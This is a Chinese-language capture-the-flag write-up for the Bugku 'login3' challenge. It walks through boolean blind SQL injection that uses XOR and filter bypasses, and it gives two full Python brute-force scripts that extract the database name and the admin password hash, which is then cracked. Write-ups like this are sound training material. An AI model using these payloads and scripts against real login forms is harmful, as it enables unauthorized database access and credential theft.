CTF – SKCTF – login3

题目说明

题目来源: ctf.bugku.com

直达: http://118.89.219.210:49167/

题目分析

看到题目给出一个登录界面,查看源代码和burpsuite抓包,没有发现特别的东西,和之前ISCC2016Simple Injection 很像,所以先判断登录模式。

  • 尝试 admin 作为用户名,返回 password error!
  • 尝试 qwerf 作为用户名,返回 username does not exist!

测试表明为分布验证用户名和密码

解题步骤

注入判断

  • 使用 username=admin'#&password=123456 ,页面返回 password error! ,说明后台没有对'#进行过滤
  • 使用 username=admin' or 1=1#&password=123456 ,页面返回 illegal character ,说明后台对admin' or 1=1#中部分内容进行了过滤
  • 经过测试,发现过滤了空格,逗号,等号,for

尝试绕过

  • 空格可以使用括号代替,select password from admin 可以写为 select(password)from(admin)
  • 等号用 不等号<> 代替
  • 布尔值的返回使用异或运算

异或运算基本规则

1 ^ 1 = 0
1 ^ 0 = 1
0 ^ 0 = 0

开始注入

获取数据库名

获取数据库名长度,希望做到精确需要两次判断数据库长度

判断数据库名长度的长度

char = test
ascii(mid(length(char)from(1))) =  str(1) | ascii(49)

没有长度时,返回的ascii值为0
ascii(mid(length(char)from(2))) =  str(null) | ascii(0)

构建语句

admin'^(ascii(mid(length(database())from(1)))<>0)^0#

如果有长度,那么亦或的表达式为 1^1^0 返回 username does not exist!!
如果无长度,那么亦或的表达式为 1^0^0 返回 password error!

判断数据库名长度

构建语句

admin'^(ascii(mid(length(database())from(1)))<>49)^0#

由于这是长度测试,所以爆破值为0-9

获取数据库名

得到了数据库名长度,直接爆破就完事了

爆破代码

Python3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: virgin-forest
# Time: 2018-08-14 22:39:03
# Describe:


import requests
from bs4 import BeautifulSoup

def get_wrong(responsec):
soup = BeautifulSoup(responsec,'html.parser')
try:
font = soup.find_all('font')
return(font[0].get_text())
except:
pass

def try_page(payload):
url = "http://118.89.219.210:49167/index.php"

data = {
"username":"xx",
"password":"1",
}

data['username'] = payload
response = requests.post(url,data=data)
return(get_wrong(response.content))

def get_database_length():
chars = '1234567890'
lenght = ''
for i in range(1,10):
payload = "admin'^(ascii(mid(length(database())from({0})))<>{1})^0#".format(str(i),0)
print(payload)
if try_page(payload) == 'password error!':
print("数据库名长度:",lenght)
return(lenght)

for char in chars:
char_ascii = ord(char)
payload = "admin'^(ascii(mid(length(database())from({0})))<>{1})^0#".format(str(i),char_ascii)
if try_page(payload) == 'password error!':
lenght += char
break


def get_database_name(lenght):
chars = 'abcdefghijklmnopqrstuvwxyz1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/='
data = ''
for i in range(1,(int(lenght)+1)):
for char in chars:
char_ascii = ord(char)
payload = "admin'^(ascii(mid(database()from({0})))<>{1})^0#".format(str(i),char_ascii)
if try_page(payload) == 'password error!':
data += char
print(i,payload,data)
break

print("数据库名:",data)

if __name__ == '__main__':
print("盲注开始...")
get_database_name(get_database_length())

爆破结果

盲注开始...
数据库名长度: 8
1 admin'^(ascii(mid(database()from(1)))<>98)^0# b
...
8 admin'^(ascii(mid(database()from(8)))<>108)^0# blindsql
数据库名: blindsql

获取到了数据库名为 blindsql ,正准备继续的时候,发现了一个很尴尬的问题,获取不到表名,关键词 information 被禁了…

猜数据表名和字段

系统表被禁用了,就不能爆破了。真的只能是猜了…

  • 构造语句 admin'^(select(1)from(admin))^1#,返回 password error!,得到数据表名为 admin
  • 构造语句 admin'^(select(count(password))from(admin))^1#,返回 password error!,得到字段 password

至于为什么这么好猜…
因为这是CTF啊…
哈哈哈哈哈…

爆破数据

步骤和前面的差不多,先两次判断数据长度,再获取数据内容
语句也和前面的差不多,就更改了查询内容,这里直接给脚本吧

爆破代码

Python3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: virgin-forest
# Time: 2018-08-14 22:52:20
# Describe:


import requests
from bs4 import BeautifulSoup

def get_wrong(responsec):
soup = BeautifulSoup(responsec,'html.parser')
try:
font = soup.find_all('font')
return(font[0].get_text())
except:
pass

def try_page(payload):
url = "http://118.89.219.210:49167/index.php"

data = {
"username":"xx",
"password":"1",
}

data['username'] = payload
response = requests.post(url,data=data)
return(get_wrong(response.content))
def get_data_length():
chars = '1234567890'
lenght = ''
for i in range(1,10):
payload = "admin'^(ascii(mid(length((select(password)from(admin)))from({0})))<>{1})^0#".format(str(i),0)
if try_page(payload) == 'password error!':
print("数据长度:",lenght)
return(lenght)

for char in chars:
char_ascii = ord(char)
payload = "admin'^(ascii(mid(length((select(password)from(admin)))from({0})))<>{1})^0#".format(str(i),char_ascii)
if try_page(payload) == 'password error!':
lenght += char
break

def get_data(lenght):
chars = 'abcdef1234567890'
data = ''
for i in range(1,(int(lenght)+1)):
for char in chars:
char_ascii = ord(char)
payload = "admin'^(ascii(mid((select(password)from(admin))from({0})))<>{1})^0#".format(str(i),char_ascii)

if try_page(payload) == 'password error!':
data += char
print(i,payload,data)
break

print("数据:",data)
return(data)
if __name__ == '__main__':
print("盲注开始...")
get_data(get_data_length())

爆破结果

盲注开始...
数据长度: 32
1 admin'^(ascii(mid((select(password)from(admin))from(1)))<>53)^0# 5
...
32 admin'^(ascii(mid((select(password)from(admin))from(32)))<>48)^0# 51b7a76d51e70b419f60d3473fb6f900
数据: 51b7a76d51e70b419f60d3473fb6f900

通过返回结果可以知道

  • password 长度为32位 可能是MD5 SHA加密 (机智的我直接跑哈希)
  • password 数据为 51b7a76d51e70b419f60d3473fb6f900

获取FLAG

一、MD5解密

51b7a76d51e70b419f60d3473fb6f900 md5解密得 skctf123456 ,输入正确的用户名密码就能拿到flag。(PS:下次做这种题,先试一下CTF赛事名称弱口令,嘻嘻)